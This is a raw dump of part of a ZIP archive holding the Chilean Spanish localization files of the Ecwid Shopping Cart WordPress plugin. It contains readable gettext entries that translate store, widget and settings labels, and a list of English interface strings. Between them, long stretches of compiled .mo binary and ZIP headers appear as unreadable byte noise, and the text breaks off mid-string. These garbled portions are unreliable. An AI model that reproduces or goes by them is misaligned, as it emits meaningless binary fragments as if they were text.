includes/widgets/class-ecwid-widget-badge.php:51 #: includes/widgets/class-ecwid-widget-badge.php:63 msgid "Ecwid e-commerce widgets" msgstr "«Widget» de comercio electrónico de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:45 #: includes/widgets/class-ecwid-widget-badge.php:57 msgid "Ecwid shopping cart" msgstr "Carrito de compras de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:39 #: includes/widgets/class-ecwid-widget-badge.php:75 msgid "Ecwid free shopping cart" msgstr "Carrito de compras gratuito de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:33 #: includes/widgets/class-ecwid-widget-badge.php:69 msgid "Ecwid ecommerce solution" msgstr "Solución de comercio electrónico de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:21 #: includes/widgets/class-ecwid-widget-badge.php:27 msgid "Ecwid shopping cart widget" msgstr "«Widget» de carrito de compras de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:14 msgid "Ecwid Badge" msgstr "Distintivo de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:13 msgid "Do you like Ecwid and want to help it grow? You can add this fancy 'Powered by Ecwid' badge on your site to show your visitors that you're a proud user of Ecwid." msgstr "¿Le gusta Ecwid y quiere ayudarlo a crecer? Puede añadir este elegante distintivo «Powered by Ecwid» en su sitio web para mostrarles a sus visitantes que es un usuario orgulloso de Ecwid." #: ecwid-shopping-cart.php:2791 msgid "Recommendations for Your Online Store" msgstr "Recomendaciones para su tienda en línea" #: includes/class-ecwid-admin.php:528 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:77 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:87 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:95 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:103 #: ecwid-shopping-cart.php:2056 msgid "Settings" msgstr "Configuraciones" #: includes/class-ecwid-admin.php:165 msgid "Advanced" msgstr "Avanzado" #: includes/class-ecwid-admin.php:164 msgid "Advanced settings" msgstr "Configuraciones avanzadas" #: templates/product-popup.php:206 templates/store-popup.php:14 #: templates/store-popup.php:34 #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:44 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:78 #: js/gutenberg/blocks.build.js:1 msgid "Appearance" msgstr "Apariencia" #: includes/class-ecwid-admin.php:28 includes/class-ecwid-admin.php:59 #: includes/class-ecwid-admin.php:459 ecwid-shopping-cart.php:2110 msgid "Dashboard" msgstr "Panel" #: includes/class-ecwid-admin.php:57 ecwid-shopping-cart.php:2056 msgid "Setup" msgstr "Configuración" #: includes/class-ecwid-admin.php:47 msgid "%s shopping cart settings" msgstr "Configuraciones del carrito de compras de %s" #: includes/class-ecwid-nav-menus.php:132 #: includes/class-ecwid-nav-menus.php:361 #: includes/class-ecwid-nav-menus.php:364 #: includes/class-ecwid-nav-menus.php:372 includes/class-ecwid-admin.php:206 #: includes/class-ecwid-admin.php:207 includes/class-ecwid-admin.php:220 #: includes/class-ecwid-admin.php:221 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:63 #: includes/class-ecwid-admin-storefront-page.php:257 #: ecwid-shopping-cart.php:1657 msgid "Store" msgstr "Tienda" #: ecwid-shopping-cart.php:1306 msgid "<a %s>Online store powered by %s</a>" msgstr "<a %s>Tienda en línea con tecnología de %s</a>" #: includes/class-ecwid-admin.php:489 msgid "Sell on Facebook" msgstr "Vender en Facebook" #: templates/admin/simple-dashboard.php:48 ecwid-shopping-cart.php:1094 msgid "Visit storefront" msgstr "Visitar escaparate virtual" PK������Ê—[ÃÔ³$$*�$*�:��ecwid-shopping-cart/languages/ecwid-shopping-cart-es_CL.monu�„[µü¤��������Þ•����e�����D��5��l&������@3�����A3��H���Y3�����¢3�����³3�����¶3�����¾3�����Ï3�� ���Ø3��.���æ3�� ���4�� ��� 4�����,4�����J4�����e4��ç��4�����g6��B���€6�����Ã6�����à6�����þ6�����7��$���97�����^7�����r7�����‹7��Ñ��� 7��/���r8�� ���¢8�� ���®8�����¸8�����Ï8�����ã8�����ö8�����9��#���%9�� ���I9�����T9�����o9�����~9�� ���ž9�� ���¿9��>���Ë9��"��� :��·���-:�����å:��k���ü:��K���h;��S���´;��A���<��R���J<��G���<��4���å<�� ���=�����&=�����/=��&���A=�����h=��T���{=�� ���Ð=�����Û=�����à=�����÷=�����>�����>�����#>�� ���*>�����8>�����?>�� ���G>�� ���S>�� ���`>�����l>�����>��4���”>�� ���É>�����Ö>�����Þ>�����í>��X���ý>�� ���V?�����`?��/���g?��,���—?�����Ä?�����Ë?�����Ð?�� ���â?�� ���ì?�����÷?�� ���ÿ?����� @�����@�����,@�����A@�����[@�����{@�����“@�����š@�����±@�����¸@�����Í@�����Ü@��.���ë@�����A�����5A��D���LA�����‘A����� A�� ���¯A�� ���ÐA�����ÞA�����ïA�����÷A����� B����� B��x���3B�����¬B�� ���¼B�����ÇB�� ���ÏB�����ðB�����C�����C�����*C�� ���=C�����JC��5���\C��h���’C��¤���ûC����� D�� ���³D�� ���ÀD��5���ÍD�����E�� ���E��x���%E��i���žE�����F�����F�����4F�����QF�����bF�����äF�� ���õF�����ÿF�����G�����$G��"���7G��#���ZG��/���~G�� ���®G�� ���¹G�����ÄG�����ËG�����ÞG�����óG�����H�����H�����-H�����?H��!���WH�����yH�����H��6���£H��!���ÚH�����üH��*���I��%���:I�����`I��'���vI�����žI�����³I��,���ÈI�����õI��q���J��s���yJ��#���íJ��H���K��O���ZK��1���ªK��s���ÜK�� ���PL��¡���\L��v���þL�����uM��$���zM�����ŸM�����±M�����·M�� ���ÓM�����ßM�����ïM����� N��s���N�����‘N�����ªN�����ÃN��=��ÜN��‰���P����¤P����¼Q�����ÜR�����ðR����� S�����S�� ��� S�� ���.S�� ���;S�� ���FS�� ���TS��œ���^S��¢���ûS�����žT�����²T�����ÌT��B���æT��$���)U�����NU�����VU�����mU�� ���€U�����‹U�����¦U�� ���¸U�����ÄU�� ���ÛU��(���æU�����V�� ���V�����V��±���#V��.���ÕV��Û���W��D���àW��h���%X�����ŽX��_���“X��C���óX�����7Y�����IY��/���_Y��/���Y�����¿Y��/���ÔY��(���Z�����-Z��9���GZ��I���Z��2���ËZ��"���þZ��:���![�����\[��"���t[��!���—[�����¹[�����Ø[�����Ý[�����ñ[��$��� \��*���1\��B���\\�����Ÿ\�� ���½\�����È\�� ���Ý\�����è\��+���ï\�����]��-���,]��P���Z]�����«]��#���Á]��'���å]��)��� ^�� ���7^�����X^��%���g^��+���^��+���¹^�����å^�����_�����_�����!_�� ���2_��$���?_��9���d_��%���ž_��:���Ä_�����ÿ_�����`�����`�����&`�����(`�� ���=`�� ���K`�� ���Y`�� ���c`�����o`�����`�����†`�� ���Ž`�����™`�����ž`�� ���¯`�����º`�����É`�� ���Î`��–���Ø`�����oa�����„a�����ša��S���œa�����ða��'���ÿa��[���'b�� ���ƒb�����b�� ���¢b�����¬b�� ���³b�� ���¾b�����Éb�����Òb�� ���×b��9���âb�����c�� ���:c�� ���Dc�� ���Nc�� ���Xc�����bc��Ò���wc��I���Jd�����”d�����±d�����Íd�� ���èd�� ���ôd�� ���e�����e�� ��� e�����-e�����@e�����Ue�����]e�����de��þ���je��å���if��#���Og�����sg�� ���‚g��ß���Œg�����lh�����th�� ���i�� ���i�����i�����%i��O��*i��4���zj�����¯j�� ���Áj�� ���Îj�����Ûj�����äj�� ���ìj�����új�� ����k����� k�����k�����'k�����:k�����Rk�� ���jk�����vk�����…k�����˜k�����³k��+���Ëk�����÷k�� ��� l�����l�����*l�����Bl�����al�� ���xl�����†l��I���l��'���Ùl�����m�����m�����$m�����=m�����Em��#���Xm�� ���|m�����†m�� ���m�����šm�����©m�����¹m��"���Òm�����õm��%���n�� ���4n�����>n�����Vn�����en�����…n�����n�����“n�����•n�����™n�����Ÿn�����®n��*���³n�� ���Þn�����ën�����òn�����o�����o�����/o�� ���8o�����Co�����So�����do�����vo�� ���‡o��"���”o�����·o�����Ëo�� ���Ýo�����êo�����üo�����p����� p�����p�� ���"p�����0p��#���Kp�����op�����‚p�����¢p�����·p�����¼p�����Ûp��V���ëp�� ���Bq�� ���cq�����qq�� ���ƒq�����‘q��&���¥q��(���Ìq�����õq�����r�� ���&r�����2r�� ���Br�� ��cr�� ���ns�����ys��(���“s��*���¼s��‡��çs�� ���ow�� ���zw�����‡w��•���Žw��.���$x�����Sx�����Yx�����jx�����€x�����”x�����¥x�����µx��Ü���¾x��ƒ���›y�����z�����0z�� ���Az�����Lz�����\z�����rz�����ƒz�����’z�����£z�����¶z�����Îz�����âz�� ���ýz�����{�����{�����${�����4{�����I{�� ���O{��/���Z{��N���Š{�����Ù{�� ���Þ{��4���é{��¨���|��=���Ç|��œ���}��-���¢}��Á���Ð}��%���’~��M���¸~�������P�����H���h��P���±�����€�����€�� ���€�� ���"€�����/€�����A€��’���H€��©���Û€��®���…�� ��4‚��E��>ƒ��‰���„…��]���†��ñ���l†��%��^‡��*��„ˆ��*��¯‰��y���ÚŠ��>���T‹��¡���“‹��h���5Œ��L���žŒ�����ëŒ�� ���ôŒ�����þŒ����������,�����5�����<�����P�����l�����|����������Ÿ�����¯�����¿�����Ô�����ä�����õ�����Ž�� ���Ž��!��� Ž��j���BŽ��—���­Ž�����E��^���Å�����$�����,�����F�� ���V��‡���c�����ë�� ��ü��±���’��C��¹’��B��ý“��k���@•�����¬•��¨���­–��©���V—�� ����˜��0���!˜��^���R˜�����±˜��:���Ę��>���ÿ˜�����>™�����N™�����j™�� ���ƒ™��2���™��?���Ù��Ò���š�����Öš��’���òš�����…›��y���•›��A���œ�����Qœ�����oœ��€��Žœ��:���ž�����Jž�����_ž�� ���ž��"��� ž�����Þ��"���ßž��H���Ÿ��)���KŸ�����uŸ�����Ÿ��&���°Ÿ��(���ן������ ����� �����  �����4 ��Ü��G �����$¢��e���:¢��'��� ¢�����È¢�� ���Ë¢�����Ö¢�� ���ï¢�����ü¢��5���£�� ���M£�� ���Y£�����f£�����„£��,���Ÿ£��Š��Ì£�����W¦��B���v¦��!���¹¦�����Û¦��!���û¦�����§��0���=§�����n§�����Ч�����£§����¹§��*���½¨�����è¨�����ù¨��(���©��!���1©�����S©��*���p©�����›©��+���¹©�� ���å©��!���ó©�����ª��6���)ª��1���`ª�����’ª��C���£ª��/���çª��ø���«��!���¬�����2¬��e���À¬��n���&­��Z���•­��o���ð­��^���`®��R���¿®�����¯�����,¯�����5¯��5���O¯�����…¯��h��� ¯�� ��� °�� ���°��!���!°��)���C°�����m°�����}°�����ƒ°�����‰°�����ž°�����¤°�����«°�����À°�� ���Ó°�����à°�����þ°��:���±�����O±�� ���`±�����n±�����‡±��`���¤±�� ���²�� ���²��=���²��9���W²�����‘²�����š²�����¢²�����±²�����β�� ���á²�� ���ë²�� ���÷²��%���³��!���(³�����J³��5���j³��(��� ³�����ɳ��%���Ò³�����ø³��!����´�����"´�����2´��C���B´��(���†´�����¯´��g���Ï´�����7µ�����Qµ��.���jµ�����™µ�����¨µ�����·µ�����Àµ�����Òµ�����êµ��¢���üµ��%���Ÿ¶��!���Ŷ�� ���ç¶��!���ñ¶�����·�����-·�����J·�����e·�� ���€·�����·��8���«·��j���ä·��´���O¸�����¹�� ���¹�����(¹��I���7¹��$���¹�����¦¹�����¯¹��x���@º�����¹º��'���Ѻ��5���ùº�����/»��œ���G»�����ä»�����ö»�����ü»�����¼�����6¼��9���U¼��;���¼��0���˼�����ü¼�����½�����,½�����4½�����H½�����b½�����u½�����‘½�����¦½�����À½��2���à½��!���¾��#���5¾��I���Y¾��+���£¾�����Ͼ��6���î¾��/���%¿�����U¿��2���s¿��&���¦¿�����Í¿��E���ì¿�����2À��š���DÀ��ƒ���ßÀ��*���cÁ��P���ŽÁ��`���ßÁ��:���@Â�����{Â�� ��� Ã��¿���Ã��€���ÔÃ�����UÄ��3���[Ä�����Ä�����­Ä��'���¶Ä�����ÞÄ�����òÄ��5���Å�����DÅ��’���`Å��,���óÅ��+��� Æ��$���LÆ��t��qÆ��¤���æÇ��A��‹È��h��ÍÉ�����6Ë��)���RË�����|Ë�����ƒË�����•Ë�����§Ë�� ���·Ë��$���ÅË�����êË��Å���ùË��Ç���¿Ì�����‡Í��$���¥Í�����ÊÍ��Y���åÍ��*���?Î�����jÎ�����rÎ�����‘Î�����®Î�����¾Î��%���ÓÎ�����ùÎ����� Ï�� ���$Ï��4���/Ï�� ���dÏ�����pÏ�����…Ï��ø���‹Ï��;���„Ð��þ���ÀÐ��D���¿Ñ��g���Ò�����lÒ��p���tÒ��Q���åÒ�����7Ó�����KÓ��]���cÓ��>���ÁÓ������Ô��D���Ô��1���_Ô�����‘Ô��I���©Ô��g���óÔ��/���[Õ��$���‹Õ��7���°Õ�����èÕ��0���Ö��%���8Ö��"���^Ö�����Ö�����‡Ö��%���£Ö��/���ÉÖ��7���ùÖ��@���1×��.���r×�����¡×��#���±×�� ���Õ×�����á×��)���ê×�����Ø��>���,Ø��h���kØ��!���ÔØ��%���öØ��1���Ù��3���NÙ��'���‚Ù�����ªÙ��(���ÅÙ��)���îÙ��)���Ú�����BÚ�����aÚ�����€Ú�����‰Ú����� Ú��-���·Ú��E���åÚ��-���+Û��8���YÛ�����’Û�� ���®Û�����ºÛ�����ÏÛ�� ���ÑÛ�����òÛ�����Ü�����Ü����� Ü�����7Ü�����JÜ�����RÜ�����[Ü�� ���mÜ�����wÜ�����ˆÜ�����™Ü�����¬Ü�����²Ü��»���ÁÜ�����}Ý�����˜Ý�����´Ý��s���¶Ý�����*Þ��/���EÞ��q���uÞ�����çÞ�����ûÞ�� ���ß�����&ß�� ���-ß�� ���7ß�� ���Aß�����Lß�� ���Sß��A���_ß��#���¡ß�����Åß�����×ß�� ���éß�� ���õß�����ÿß��)��à��c���Há�����¬á�� ���Ìá��!���íá�����â�� ���â�����+â��#���<â�����`â�����qâ�����‹â�����§â�����°â�����¸â��I��½â��ú���ä��%���å�����(å�� ���:å��×���Gå�����æ��¢���$æ�����Çæ�����Ýæ�����ðæ�����÷æ��•���ç��9���–è�����Ðè�� ���èè�� ���õè�� ���é�� ��� é�����é�����*é�����1é�����Bé�����Ké�����fé��#���é��%���¥é�����Ëé�����Üé�� ���óé�� ���ê��+���5ê��7���aê��"���™ê�����¼ê�����Ðê��*���æê��1���ë��$���Cë�����hë�� ���}ë��a���‡ë��0���éë�����ì�����/ì�����?ì�����^ì�� ���gì��4���ˆì�� ���½ì�����Çì�����Ðì�����éì�����üì�����í��5���-í�����cí��(���‚í�� ���«í��"���·í�����Úí��"���ìí�����î�����î����� î�����"î�����&î�����-î�����>î��-���Fî�����tî�����„î�����‹î�����Ÿî��"���°î�����Óî�����Üî�����íî�����ï�����ï�����2ï�����Eï��0���Tï��&���…ï�����¬ï�����Àï�����×ï�����ëï�����ûï����� ð�����ð�����#ð��"���6ð��+���Yð�����…ð��/���¢ð��!���Òð�����ôð��+���üð�����(ñ��ˆ���<ñ��(���Åñ�����îñ�����ò����� ò��$���;ò��8���`ò��8���™ò��)���Òò��#���üò����� ó�����2ó��)���Nó��M��xó�����Æô��$���Õô��2���úô��L���-õ��,��zõ�� ���§ù�����´ù�����Ìù��½���Óù��?���‘ú�����Ñú�����Øú��!���ñú��#���û�����7û�����Vû�����uû����…û��™���™ü�����3ý�����Sý�����lý�� ���ý�����¢ý�����Áý�����Ùý�����ðý��$���þ��$���+þ�����Pþ�����nþ�����Žþ�����¡þ�����¨þ�����¼þ�����Ðþ�����æþ�����ìþ��G���ûþ��W���Cÿ�����›ÿ�����¡ÿ��8���±ÿ��©���êÿ��Y���”��‹���î��:���z�×���µ�'����_���µ�����X���&�^����U���Þ����4����<� ���Q� ���^����l����ˆ�»���‘�Ã���M�Ç����#��Ù�­��ý�‘���« �u���= ���³ �@��Æ �@���U��H�›���ž�P���:�®���‹�~���:�a���¹��������1����E����]����v� ���”����Ÿ�$���¶����Û����í� ���� ��������,���6����c��������š����¬� ���¿�#���Ì�œ���ð�š����…���(�]���®� ��� ��������0� ���I�¹���W�����V��&�×���}�‘��U�`��ç�‘���H�+��Ú�Ô����É���Û�'���¥ �2���Í �^����!����_!�A���v!�G���¸!�����"����"�$���6"� ���["�8���g"�;��� "�5��Ü"� ���$�¯���3$����ã$�¡���û$�R���%����ð%���� &�Û��-&�[��� (����e(� ���}(����‡(�"���Ž(����±(�"���Í(�H���ð(�)���9)����c)�(���~)����§)����¸)����Ì)����á)����÷)����*��������I��������������“��k������R��W��y����$��%���Ü�������������í���������í��‚���þ�������±��#��Æ���y���R��#������¸��J���Z��À�������?���B��^��>��ã���Ý��¯������������������ ��� ��3����1��–���U������>�����Ç��K��q��š�������¸�����³��á���Ø���-�������Ð����������—����v���8������:���/���´���g��d���Í��������������S��?��¨��È������ò����������¢���'��Þ�������,�������Ê�����j��Z������§��P��º�������W���Ã������Å���S��Ï�������]����������T������¿���Ñ�� �������6���®������ú���”�������r����������¹���c��9������¿��é��,��Ò�������¥���������k�����������£���%��������������É��â���������Ú������½�����������Ë���L���"�������a��ß��á��ü��ª��W��t����Â���������Þ������}��.��õ��÷�� ��$������K������G��û���×��ú��~���������������0������w�������Ò�����E��¨���ï���7���Õ����������������������‰���Q��Ž������F��ª�����������¤���¾��:��\���Ï��������������O�����X��'��*��3������1������ ��������Ñ�������’���»���u���������É���9��ô���E���ˆ��©������C��������������������‡���������?������8��a��_���b�������L������@��&������*��I��C���J��™���Y���«������D������ƒ������$���£������;��F��Î�������N���Ã���G������'���©�������Ä���¦��0�����@�����^���…���ë��c���ž��������Ç������u��ý��>��:����å����.���â���†���þ��M��j���[��S��PK������Ê—[!ÛÛ¡2¬�2¬�:��ecwid-shopping-cart/languages/ecwid-shopping-cart-es_CL.ponu�„[µü¤�����������&�����î���õ�������ð����%��Š�� ��c������h��X���A��������#�����������z�������3�����(������������������³���û������’��������������Î�����Q��������e��������ù���À��-��������™��i���¬���Ö���D��œ��p�� �����!�������Œ�������(����������…��X��5��°��7��ó���µ��î��=�����������ß���;������N������¶���P����¹��������������T�����������²���\������Z���º��–�����������������&����� ������€��� ���`���”��ç��|��ó��«�������`��ä���¡�������<�������Œ��e���+�������A���‡��=������Ù��ø������¾���§���¥��)���‚����Q��Í���ì���Ô��Â���Ý���Ë��˜��‹��è��f��!��ë��� ���b��a���M��{�������<��7�����‘���¼�������������¯���Û�������ï������H��Ù���Ì���6��O��s���`����������9��Ÿ���*�������Æ��-��}���"�����æ��¤��r���à���œ���0������������ä��{������������������ö��������‰����������l��H����������v����d��/��­��� ��]���t���p�����2��ƒ���·������d��„������g���æ���U���‘������C��Ô���¶��w��­��×�����[���l�����������ü���Ø����������<��Ó��“���›�� ���o���1��� ����� ��è���V��f���¦���N�� ��E������Ÿ��•������������������Ó������� ��Ö��ø���������Û����������/������,��������~���������¼������������Ú��!������[��®��n�����������_��"��ò���(�������2���J��x��h���_��½�� ��ÿ���÷���o������M���‹���4��=��8���ÿ��ê�������2��Ð��� ��4�������Á��„���m�������Å��›�������²���������ì��5��n��I���;���•��)������6��L��V���������—���+��Ü��+��A��������������������š��Ê���Y��B��F������ �������)��Õ���é���m��i��ö���ý������5���^������|���z�������������È���´�����U����������x�����������\��ù��q���å���†������O���ô������Š���ç���V����������b��ð�������¡������������˜���ˆ�������¢��Á���ñ���Y�������������.��·���D������ã����������ê��B�������G��s��¬��Ì��µ�������R�����T��ñ��e���������� Choose another product� Thank you very much for contacting us! We will get back to you shortly.�"In stock" label�%s�%s Blog�%s Shopping Cart�%s Store�%s Store Page�%s plugin doesn't work well with my "%s" theme�%s product�%s products�%s products and %s categories�%s products and categories�%s shopping cart settings�%s stores your products data in a secure cloud storage. The product pages are displayed on the fly when a customer browses your store. So, basically, the products are not stored on the site, that's why the site search doesn't find product pages while looking through site pages and posts. This option enables a local storage mode: the products will be stored both in the cloud and on your site. The site search results will list product pages as well as regular pages/posts of your site.�%s — Advanced settings�(You will be able to confirm the changes before the actual import)�2 columns, image on the left�2 columns, image on the right�3 columns, image on the left�3 columns, image on the right�<a %s>Online store powered by %s</a>�<a %s>Reconnect</a>�<a href="admin.php?page=�<b>%s</b> categories�A slug is the last part of a URL. You can create a custom slug for your store page. It’s better to keep it short since customers and search engines prefer short URLs. For example, use "/shop" or "/products".�Action required: please connect your %s account�Add Product�Add Store�Add Store Page to Menu�Add a category page�Add a product page�Add a search and filters page�Add a store page�Add an Online Store to Your Website�Add border�Add cart and checkout page�Add categories�Add store page to the site menu�Add storefront (product listing)�Add to Menu�Add your %s store to the website and start selling in minutes.�Add your store to other site pages�Add your storefront to the website home page to make it more prominent. You can also tweak the site home page settings in <a href="%s" target="_blank">WordPress Settings > Reading</a>�Additional store pages�Additionally, you can add store controls to your website's toolbar using <a %s>WordPress native widgets</a>�Adds a cart widget for customer to see the products they added to the cart.�Adds a compact cart widget for customer to see the products they added to the cart.�Adds a shopping cart widget to the top right corner of your site.�Adds root categories list to the sidebar to let your customers navigate the store.�Adds vertical categories block to let the customer navigate your store.�Adjust your store design to fit your business needs.�Admin Label�Advanced�Advanced settings�After import, your %s store will have �All Sales Channels�Along with the store catalog, you can add other widgets and texts to the store page.�Appearance�Apps�Available qty in stock�Back to Store Settings�Background color�Bag�Basket�Before You Go�Border�Border:�Bottom left�Bottom right�Breadcrumbs�Browse all products.�Browse by Category�Bulk import products and categories to your %s store�Button color�Buy Now�Buy Now Button�Buy now buttons�By continuing, you agree to the <a %s>Terms of Service</a> and <a %s>Privacy Policy</a>.�CSS Class�CSS ID�Can you share the name of the plugin you chose?�Can you share your feedback? What was wrong?�Cancel�Cart�Cart and Checkout�Cart icon�Cart icon:�Catalog�Categories�Category�Category List Appearance�Category card layout�Category shown by default�Category thumbnail aspect ratio�Category thumbnail size�Center�Center align on a page�Change�Change store content�Choose Product�Choose product�Choose product properties to display in widget�Choose the main store page�Choose widgets to show�Click the connect button to get rights to update the product catalog�Color settings�Complete Setup�Complete setup and start selling�Configuration�Congratulations!�Connect�Connect Your Store�Connect your %s store�Connect your store�Connection error - after clicking button you need to login and provide permissions to use our plugin. Please, try again.�Contact Support�Contact us�Content�Copying products and categories.�Create Cart Page�Create Category Page�Create Product Page�Create Search Page�Create Store�Create Store Page�Create a landing page featuring one of your products.�Create a new %s account which you will use to manage your store and inventory. The registration is free.�Create a new store or connect an existing one, if you already have an %s account. The plugin will guide you through store setup and help publish it on your website.�Create new account�Create store�Current Page�Current URL slug: /<span data-ec-store-slug>%s</span>�Customer Single Sign-On�Customers�Customers can’t see your store page because it’s in draft. Publish the page to make it available for your customers.�Customers go to the cart page to review products they’ve added to the cart and proceed to the checkout.�Customize design�Customize store appearance�Customize store page address�Customize widget�Customize your store’s appearance to fit your business needs. Give your store the exact look and feel that reflects your brand.�Cyan bluish gray�Dashboard�Default category�Default category ID�Default product_ID�Default view mode on product pages�Default view mode on search results�Deleted products synchronized: %1$s out of %2$s�Demo Store�Demo store�Design�Design and content�Detect automatically�Disconnect store�Display a buy button�Display breadcrumbs�Display cart icon�Display categories menu�Display categories navigation bar�Display category page�Display footer menu�Display product page with description and a buy button�Display product with a buy button�Display search box�Display search page with filters on a side�Display shopping bag link and summary�Display shopping cart�Display shopping cart and checkout page�Display sign in link�Display sort by link�Display the shopping cart icon on site pages�Displayed product�Displays a link to the store page in sidebar for customer to quickly access your store from any page on the site.�Displays a list of products recently viewed by the customer to easily return to the products they saw in your shop.�Displays a list of random products.�Displays a random product from your store to attract customer attention.�Displays a simple search box for your customers to find a product in your store�Displays storefront: product listing and checkout�Displays the latest added products from your store. Show new products to returning customers to drive repeat sales.�Do not show�Do you like Ecwid and want to help it grow? You can add this fancy 'Powered by Ecwid' badge on your site to show your visitors that you're a proud user of Ecwid.�Do you like your %s online store? We'd appreciate it if you add your review and vote for the plugin on WordPress site.�Done�Download <a href="%s">import log</a>�Download log file�Draft�E.g. How to set up shipping�Ecwid Badge�Ecwid Ecommerce�Ecwid Ecommerce Shopping Cart�Ecwid Menu Item�Ecwid allows you to upload your products in a form of CSV file. Learn more about this tool in the Ecwid Help Center�Ecwid e-commerce widgets�Ecwid ecommerce solution�Ecwid free shopping cart�Ecwid is PCI DSS Level 1 certified, which is the gold standard for e-commerce solutions worldwide. This means you won't have any banking compliance issues when selling online with Ecwid. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#security">More details.</a>�Ecwid is a free full-featured shopping cart. It can be easily integrated with any Wordpress blog and takes less than 5 minutes to set up.�Ecwid is compatible with any WordPress theme. Be it a free theme from WordPress.org catalog, a premium theme by a third-party vendor or a custom-made theme, your Ecwid store will work good with it. If you want a premium theme, we recommend <a href="%s">TemplateMonster themes</a>�Ecwid provides free mobile applications for iOS and Android to manage your store and sell on the go. Scan products, track inventory, manage sales and accept payments using your mobile device as a POS station. <a target="_blank" href="https://www.ecwid.com/ecwid-mobile">More details.</a>�Ecwid shopping cart�Ecwid shopping cart widget�Edit�Edit Appearance�Edit Category�Edit Product�Edit Store�Edit URL Slug�Edit page�Enter an optional CSS ID to be used for this module. An ID can be used to create custom CSS styling, or to create links to particular sections of your page.�Enter optional CSS classes to be used for this module. A CSS class can be used to create custom CSS styling. You can add multiple classes, separated with a space.�Enter your Store ID�Enter your Store ID here:�Extensions for your Store�Feature a specific store category on a separate page of your site.�Feature your products in the sidebar�Filters�Filters panel position�Find your Store ID�First Page�Frequently Asked Questions�Get %s mobile app�Go to Pages�Go to Your %s Products�Greetings!�Greetings! Your %s plugin is now active.�Grid�Grid view�Help�Help customers find your store on the site. Add the store link to the site menu, create additional store pages, and highlight store products on other site pages and in sidebars.�Help customers find your store on the website.�Here you can control how many products will be displayed per page. These options define maximum values. If there is not enough space to show all product columns, %s will adapt the number of columns to hold all products.�Here you can create the content that will be used within the module.�Here, we will help you uploading your product catalog to %s from another shopping cart or other sources.�Hide�Highlight products, categories, and other store pages by adding them to separate website pages.�Highlight your best sellers or new products in the website sidebar.�Horizontal indent�Horizontal thumbnails�How can I add a cart widget to my site sidebar?�How can I manage my store from a mobile device?�How can we help you?�How do I add store categories to the site menu?�How do I put my products in the sitemap?�How much does Ecwid cost?�How secure is this plugin? Is my store PCI DSS compliant?�How to add a single product with the add to bag button to the site pages?�How to set up a storefront on Facebook with Ecwid?�I already have an account, sign in�I couldn’t find a WordPress theme that goes well with %s�I found a better plugin�I have a problem using this plugin�I have a problem with my %s store�I use this WordPress theme: %s�Icon�Icon and item count�Icon, label and item count�Icon, label, item count and subtotal�Icon, label, item count, subtotal and link�If you have a moment, please let us know why you are deactivating:�Image and title on mouse over�Image feed�Image gallery layout�Image only�Import�Import Your Products From Woocommerce to %s�Import completed�Import completed. <a href="%s">Run again.</a>�Import creates new products and update the existing products with matching SKUs.�Import is in Progress�Import my products from WooCommerce�Import product catalog from WooCommerce�Import product catalog from other sources�Import products to your %s store�Import summary�Import your WooCommerce catalog to %s�Import your products from WooCommerce to %s�Import your products from Woocommerce to %s�Imported <b>%s</b> products�Importing %s of %s items�Insert�Insert into page�Instant site�Integration with search on your site�Is it possible to display my store on the site home page?�Is there a WordPress theme for Ecwid?�It's a temporary deactivation. Please do not ask me again.�Item count only�Justify�Knowledge Base�L�Label and item count�Landscape 3:2�Landscape 4:3�Last Page�Last update�Latest Products�Layout�Layout:�Learn more�Left�Light green cyan�Link color�Linked product�List�List view�Looks like your site does not support remote POST requests that are required for %s API to work. Please, contact your hosting provider to enable cURL.�Luminous vivid amber�Luminous vivid orange�M�Make your store accessible from the site menu so your customers can easily find it.�Manage Sidebar�Manage Store on iPhone, iPad or Android�Manage products, track sales, adjust settings - <nobr>All without</nobr> leaving this page.�Manage store�Manage storefront�Marketing�Mobile�My Account�My Profile�My Sales�Name�Navigation�Need help importing your products from WooCommerce to %s?�Never show this message again�Next Page�Next page�No Thanks�No border�Not synchronized yet�Note: when enabled, the cart widget is always displayed in preview to make it easier to customize it. The "Show on store pages" and "Show when empty" options will apply to the cart widget on site when published�Nothing found for <span class="empty-page__term">"{{ data.term }}"</span>�Number of categories per row�Number of products per page�Number of products to show�On the left�On the right�Online Store�Online Store Apps�Online store�Open control panel�Open store dashboard�Options�Orders�Other�Our 4 account types vary by number of products, types of functionality, and level of support. For more information, check out our <a target="_blank" href="%s">pricing page.</a><br /><br />Pro Tip: You can also save money by enrolling in our annual plans.�Our team is already working on this issue. Please refresh the page in a few minutes. If the issue persists, please contact <a target="_blank" href="https://help.ecwid.com/customer/portal/emails/new">our customer support team</a>.�Page with that name already exists.�Pale cyan blue�Pale pink�Part of the products have not been copied to %1$s, because you reached the products limit on your pricing plan in %1$s. If you want to import more products, please consider <nobr><a %2$s>upgrading your %1$s plan.</a></nobr>�Payment�Personalize your storefront's appearance and edit the content on the store page to reflect your brand and stay connected with your customers.�Pick Category�Pick Product�Picture�Pill�Please mind the maximum number of products and categories you can have in your Ecwid store. This import tool will automatically stop when the store products limit is reached. To check the current store limit or increase it, please see the <nobr><a %s target="_blank">"Billing & Plans"</a></nobr> page in your Ecwid store control panel.�Please subscribe to a paid plan to get this feature.�Plugins for Ecwid�Portrait 2:3�Portrait 3:4�Position�Preview�Previous Page�Price�Price color�Product�Product Card Large�Product Card Small�Product List Appearance�Product Page Appearance�Product SKU�Product Search�Product Search Box�Product Search and filters�Product card text align�Product catalog will be shown automatically�Product page layout�Product price�Product quantity�Product sidebar content�Product thumbnail aspect ratio�Product thumbnail size�Product title�Products�Products are successfully synchronized. The product pages are up to date.�Products synchronized: %1$s out of %2$s�Promote your store�Provide access.�Provided by <a %s>%s</a>�Publish�Publish Store Page�Publish the page to use this option�Published�Quantity�Questions?�Random Product�Random Products�Rate %s at WordPress.org�Re-connect to Enable Control Panel�Recently Viewed Products�Recommendations for Your Online 